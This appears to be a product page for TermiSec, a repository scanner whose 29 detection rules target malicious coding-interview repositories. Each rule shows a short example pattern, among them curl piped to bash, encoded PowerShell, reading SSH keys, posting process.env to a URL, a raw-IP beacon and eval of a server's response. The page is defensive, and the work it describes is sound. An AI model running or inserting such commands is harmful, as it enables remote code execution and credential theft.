Match concrete behavior
TermiSec inspects repository text, manifests, assets, links, and local Git state for explicit patterns. The same input produces the same result every time.
DETERMINISTIC BY DESIGN
29 checks.
No black box.
We analyzed the attack patterns surrounding coding-interview repositories shared through job boards, then mapped the 29 most common paths into concrete, inspectable checks.
Explore every check ↓29documented rules
6critical-capable rules
WHY THESE 29
The risk starts before the interview does.
Job-board conversations often move candidates from a familiar listing to an unfamiliar repository with a simple instruction: clone it, open it, install the dependencies, and run it. Each step creates a different opportunity for hidden code to execute.
We analyzed those recurring attack paths and distilled the most common behaviors into 29 deterministic checks. They focus on what the repository can do, not who posted it or how convincing the opportunity looks.
01Clone
Git state, hooks, links, and provenance cross the boundary first.
02Open
Editors, IDEs, and project tooling can launch repository-controlled tasks.
03Install
Lifecycle scripts and transitive dependencies gain a chance to execute.
04Run
Credential access, outbound traffic, and disguised payloads become active.
HOW TO READ THIS PAGE
Evidence first.
Decision second.
These checks do not try to guess whether an author is trustworthy. They identify specific capabilities and combinations that deserve review before an unfamiliar project gets access to your machine.
Show the evidence
A finding names the rule, severity, file, line when available, matched evidence, and a human-readable explanation. Nothing depends on an opaque score.
Contain the decision
Critical findings stop execution. Lower-severity findings give you context to inspect, while the disposable workspace and offline-by-default network reduce exposure.
CRITICAL
A direct execution or compromise path. TermiSec blocks the command before it runs.
HIGH
A strong risk signal or sensitive capability that needs deliberate review.
MEDIUM
A dual-use capability that can be legitimate, but becomes dangerous with untrusted input.
01
Automatic execution
Code that can run because you installed, opened, built, or cloned a project, not because you deliberately launched it.
SH001CRITICALRemote shell pipe
Finds curl or wget output piped directly into sh or bash.
EXAMPLE
curl https://example.test/setup | bashWHY IT'S DANGEROUS
The downloaded response executes immediately, so a compromised server can run arbitrary commands without leaving a script for review.
WHAT TO VERIFY
Open the downloaded URL separately, pin a version or checksum, and read the complete script before allowing it to run.
PS001CRITICALEncoded PowerShell
Finds PowerShell launched with an encoded-command flag.
EXAMPLE
powershell -EncodedCommand SQBFAFgA...WHY IT'S DANGEROUS
Encoding hides the real command from casual inspection and is commonly used to conceal downloaders, credential theft, or persistence.
WHAT TO VERIFY
Decode the Base64 value without executing it, then inspect the resulting command for downloads, persistence, credential access, and evasion.
PKG001HIGHPackage lifecycle hook
Finds npm scripts that run during install, packaging, or publishing.
EXAMPLE
"postinstall": "node scripts/bootstrap.js"WHY IT'S DANGEROUS
A dependency can execute this hook during npm install, before you ever run the application or inspect its behavior.
WHAT TO VERIFY
Trace the lifecycle script and every command it calls. If it is not essential, install with scripts disabled and run the setup step manually.
VSC001CRITICALEditor folder-open task
Finds VS Code or Cursor tasks configured to run when a folder opens.
EXAMPLE
"runOn": "folderOpen"WHY IT'S DANGEROUS
Simply opening the repository in a trusted editor can trigger a command with your user permissions and access to local credentials.
WHAT TO VERIFY
Inspect the referenced task, its shell command, and workspace trust settings before opening the folder in an editor with extensions enabled.
XCODE001HIGHXcode shell build phase
Finds shell scripts embedded in Xcode project build phases.
EXAMPLE
PBXShellScriptBuildPhase { shellScript = "./bootstrap.sh"; }WHY IT'S DANGEROUS
Building an unfamiliar project can silently invoke shell code outside the application’s normal runtime boundary.
WHAT TO VERIFY
Read the full shellScript value, including expanded build variables and referenced files, before starting an Xcode build.
UNITY001HIGHUnity editor auto-load
Finds Unity initialization attributes that execute editor code automatically.
EXAMPLE
[InitializeOnLoad] class ProjectBootstrap { ... }WHY IT'S DANGEROUS
Opening the project in Unity can execute editor scripts immediately, with access to the developer account and machine.
WHAT TO VERIFY
Review the attributed class and static initializer for filesystem, process, package, and network access before opening the project in Unity.
DEV001HIGHDev Container lifecycle hook
Finds commands that run while a Dev Container is created, started, updated, or attached.
EXAMPLE
"postCreateCommand": "npm run setup"WHY IT'S DANGEROUS
A repository can trigger setup code as part of the seemingly safe act of opening its containerized development environment.
WHAT TO VERIFY
Inspect every Dev Container lifecycle field and the scripts they call; containerization does not automatically protect host-mounted files or credentials.
PERSIST001HIGHOperating-system persistence
Finds common persistence mechanisms such as LaunchAgents, cron, systemd enablement, and Windows Run keys.
EXAMPLE
cp updater.plist ~/Library/LaunchAgents/WHY IT'S DANGEROUS
Persistence makes unwanted code return after logout or reboot, turning a one-time execution into a durable compromise.
WHAT TO VERIFY
Confirm why the software needs to survive reboots, which executable will launch, and whether the persistence target affects the host or only the container.
02
Credentials and network behavior
Signals that code is looking for secrets, identifying your machine, or communicating with an outside system.
CRED001HIGHDeveloper credential path
Finds references to SSH keys, cloud credentials, browser profiles, wallets, and keychains.
EXAMPLE
readFileSync(process.env.HOME + '/.ssh/id_ed25519')WHY IT'S DANGEROUS
These files can grant access to source repositories, cloud infrastructure, accounts, cryptocurrency, and other high-value systems.
WHAT TO VERIFY
Check whether the path is documentation, test data, or live code. Live access should have a narrow, stated purpose and never collect unrelated secrets.
NET001HIGHAbused exfiltration service
Finds endpoints frequently used as convenient data drop sites, including Discord and Telegram webhooks.
EXAMPLE
fetch('https://discord.com/api/webhooks/...')WHY IT'S DANGEROUS
Webhook services let an attacker receive stolen data without operating an obvious command server.
WHAT TO VERIFY
Identify exactly what data is sent, who controls the destination, and whether the endpoint belongs to the product rather than a personal or disposable account.
EXFIL001CRITICALCollection plus outbound request
Finds a file that both collects environment or credential data and can send a network request.
EXAMPLE
fetch(url, { body: JSON.stringify(process.env) })WHY IT'S DANGEROUS
The combined behavior forms a direct path from local secrets to an external recipient, rather than merely using either capability in isolation.
WHAT TO VERIFY
Follow the data flow from collection to request body or headers. Verify that secret values are filtered and that the destination is expected and authenticated.
FPRINT001HIGHSystem fingerprinting plus outbound request
Finds machine-identifying data collected alongside network transmission.
EXAMPLE
axios.post(url, { host: os.hostname(), arch: os.arch() })WHY IT'S DANGEROUS
Attackers use fingerprints to identify valuable targets, avoid sandboxes, and tailor follow-up payloads to a specific system.
WHAT TO VERIFY
Determine why machine identity is required, which fields leave the device, and whether the behavior is disclosed and necessary for the feature.
BEACON001CRITICALRecurring network beacon
Finds timer-driven outbound traffic, with raw-IP destinations treated as the strongest signal.
EXAMPLE
setInterval(() => fetch('http://203.0.113.42/ping'), 5000)WHY IT'S DANGEROUS
Periodic callbacks can keep a compromised machine checking in for instructions, payloads, or opportunities to send data.
WHAT TO VERIFY
Inspect the timer interval, destination, request contents, response handling, retry logic, and whether a user action clearly starts and stops the loop.
C2EXEC001CRITICALRemote response execution
Finds data returned by a server passed into eval or another dynamic execution mechanism.
EXAMPLE
fetch(server).then(r => r.text()).then(code => eval(code))WHY IT'S DANGEROUS
The repository becomes a small loader while the attacker can change the real code remotely at any time.
WHAT TO VERIFY
Treat the remote endpoint as executable code ownership. A safe design should validate structured data and map it to fixed local actions instead of evaluating text.
03
Dynamic and disguised payloads
Patterns that make executable behavior harder to see during a normal code review.
JS001MEDIUMDynamic JavaScript evaluation
Finds eval and new Function in JavaScript and TypeScript files.
EXAMPLE
const run = new Function('input', payload)WHY IT'S DANGEROUS
Generated code bypasses normal static structure and can turn untrusted strings into executable instructions.
WHAT TO VERIFY
Find the source of the evaluated string. Static, tightly controlled expressions are different from values influenced by files, users, packages, or the network.
PROC001MEDIUMJavaScript child process
Finds Node.js APIs that launch operating-system commands.
EXAMPLE
child_process.exec(userSuppliedCommand)WHY IT'S DANGEROUS
A child process escapes application-level assumptions and can invoke shells, installers, downloaders, or native tools.
WHAT TO VERIFY
Trace command arguments to their origin, avoid shell interpolation, and prefer fixed executable-plus-argument APIs when process launch is genuinely required.
OBF001HIGHDecoded content execution
Finds Base64, character-built, or escaped content reconstructed and passed to execution.
EXAMPLE
eval(Buffer.from(blob, 'base64').toString())WHY IT'S DANGEROUS
Obfuscation hides the payload from reviewers and simple searches until the program reconstructs it at runtime.
WHAT TO VERIFY
Decode the content in an isolated, non-executing tool and inspect every stage. Legitimate encoded assets should not need to flow into an execution API.
ASSET001HIGHScript disguised as an asset
Finds script-like content in an image or font file whose signature does not match its extension.
EXAMPLE
public/logo.png starts with #!/bin/shWHY IT'S DANGEROUS
A harmless-looking asset can carry executable text past reviewers, scanners, or build steps that trust file extensions.
WHAT TO VERIFY
Verify the file signature and provenance, then open the content as text without invoking build tooling that may transform or execute it.
ASSET002HIGHEncrypted payload disguised as an asset
Finds an OpenSSL-encrypted payload stored under an image or font extension.
EXAMPLE
assets/banner.jpg starts with Salted__WHY IT'S DANGEROUS
Encryption prevents inspection of the hidden content until another script decrypts and potentially executes it.
WHAT TO VERIFY
Locate the decryption key and every consumer of the file. Confirm the decrypted result in isolation and require a documented reason for encrypting a bundled asset.
BIN001HIGHUninspectable executable binary
Finds executable binary files that cannot be inspected by the deterministic text scanner.
EXAMPLE
tools/bootstrap (Mach-O or ELF executable)WHY IT'S DANGEROUS
A precompiled executable can conceal arbitrary behavior that has no reviewable source in the repository.
WHAT TO VERIFY
Require source code or a signed, independently verifiable release. Do not execute an unexplained binary simply because it was included in the repository.
SCAN001HIGHOversized executable source
Finds executable or source files that exceed the scanner’s safe text-inspection limit.
EXAMPLE
scripts/bootstrap.js larger than 1 MBWHY IT'S DANGEROUS
Oversized code can hide malicious behavior beyond the scanner’s bounded inspection window and must be treated as unreviewed.
WHAT TO VERIFY
Split or independently inspect the file with a tool designed for large inputs, then verify its provenance before allowing it to execute.
04
Dependencies and filesystem boundaries
Dependency declarations and filesystem links that reach beyond the expected, reviewable project boundary.
DEPSRC001HIGHUnsafe dependency source
Finds dependencies downloaded over plain HTTP or directly from a raw IP address.
EXAMPLE
"helper": "http://203.0.113.8/helper.tgz"WHY IT'S DANGEROUS
The package lacks the normal registry trust path and plain HTTP can be altered in transit.
WHAT TO VERIFY
Replace the source with an HTTPS registry release when possible, then verify publisher, version, integrity metadata, and the archive contents.
DEPPATH001HIGHEscaping local dependency
Finds file or link dependencies whose path leaves the repository workspace.
EXAMPLE
"shared": "file:../../private-package"WHY IT'S DANGEROUS
A build can read or execute content from outside the reviewed repository, including host files an attacker should not control.
WHAT TO VERIFY
Resolve the path from the manifest’s directory and confirm the final target stays inside the disposable workspace on every supported platform.
DEPGIT001MEDIUMDirect Git dependency
Finds packages installed from Git rather than a package-registry release.
EXAMPLE
"widget": "git+https://github.com/example/widget.git"WHY IT'S DANGEROUS
A movable branch or tag can change what gets installed, weakening reproducibility and registry-based integrity checks.
WHAT TO VERIFY
Require a full commit hash rather than a branch or mutable tag, inspect that commit, and confirm why a registry release is not used.
DEPSCRIPT001MEDIUMLocked dependency install script
Finds lockfile packages marked as having an install script.
EXAMPLE
"hasInstallScript": trueWHY IT'S DANGEROUS
Transitive code may execute during installation even when the top-level package.json looks harmless.
WHAT TO VERIFY
Identify the exact transitive package and install script in the lockfile, inspect its published source, or install with --ignore-scripts.
FS001HIGHEscaping symbolic link
Finds repository symlinks that resolve outside the repository directory.
EXAMPLE
config/keys → ../../.sshWHY IT'S DANGEROUS
Tools following the link may expose, copy, modify, or package sensitive host files that were never part of the repository.
WHAT TO VERIFY
Resolve the link without following it during a build. If it leaves the repository, remove it or replace it with an explicit, documented input.
05
Git execution and provenance
Repository-local Git state that can execute commands or make the checked-out history less trustworthy.
GIT001HIGHExecutable Git hook
Finds non-sample hooks in .git/hooks and raises severity when they are executable.
EXAMPLE
.git/hooks/post-checkout (executable)WHY IT'S DANGEROUS
Hooks can run during checkout, commit, merge, and other ordinary Git operations with your local user permissions.
WHAT TO VERIFY
Read the entire hook, confirm who installed it, and keep repository-supplied hooks non-executable unless their behavior is deliberately trusted.
GITCFG001HIGHCommand-capable Git configuration
Finds local hooks, filters, credential helpers, SSH commands, and filesystem monitors that can invoke external programs.
EXAMPLE
hooksPath = ../repo-controlled-hooksWHY IT'S DANGEROUS
Local Git configuration can trigger an attacker-selected command during fetch, checkout, filtering, authentication, or status.
WHAT TO VERIFY
Compare .git/config with a fresh clone and inspect every command-capable value. Local Git configuration is not visible in an ordinary source diff.
GITPROV001HIGHForced history update
Finds forced-update evidence in the local Git reflog.
EXAMPLE
fetch origin main: forced-updateWHY IT'S DANGEROUS
Rewritten history can replace a previously reviewed commit; the expected revision should be confirmed through an independent trusted channel.
WHAT TO VERIFY
Verify the expected commit hash through the official repository, signed release, or another trusted channel before reviewing or running the new history.
INTERPRETING A FINDING
Context still matters.
Does a match prove the repository is malicious?
No. Many checks describe dual-use capabilities found in legitimate build tools, installers, and developer utilities. A match means the behavior deserves inspection; critical combinations are blocked because the cost of executing them blindly is unusually high.
Why combine signals in some rules?
Reading environment variables can be normal. Sending a network request can also be normal. Doing both in the same file creates a plausible secret-exfiltration path, so compound rules such as EXFIL001 carry more weight than either behavior alone.
Why use deterministic checks instead of AI?
Security decisions should be reproducible and explainable. These rules can point to the exact evidence that caused a finding, work locally without sending repository code to a model, and do not change their answer between scans.
Can these 29 checks catch everything?
No static rule set can prove a project is safe. Obfuscated, novel, or delayed behavior can evade detection. That is why TermiSec pairs scanning with containment: an unprivileged disposable workspace, no Mac home directory, dropped capabilities, and no network by default.
HONEST SECURITY
A signal is not a verdict.
Some legitimate developer tools use these same capabilities. TermiSec shows the evidence and blocks the highest-risk combinations before execution so you can make an informed decision.
Download TermiSec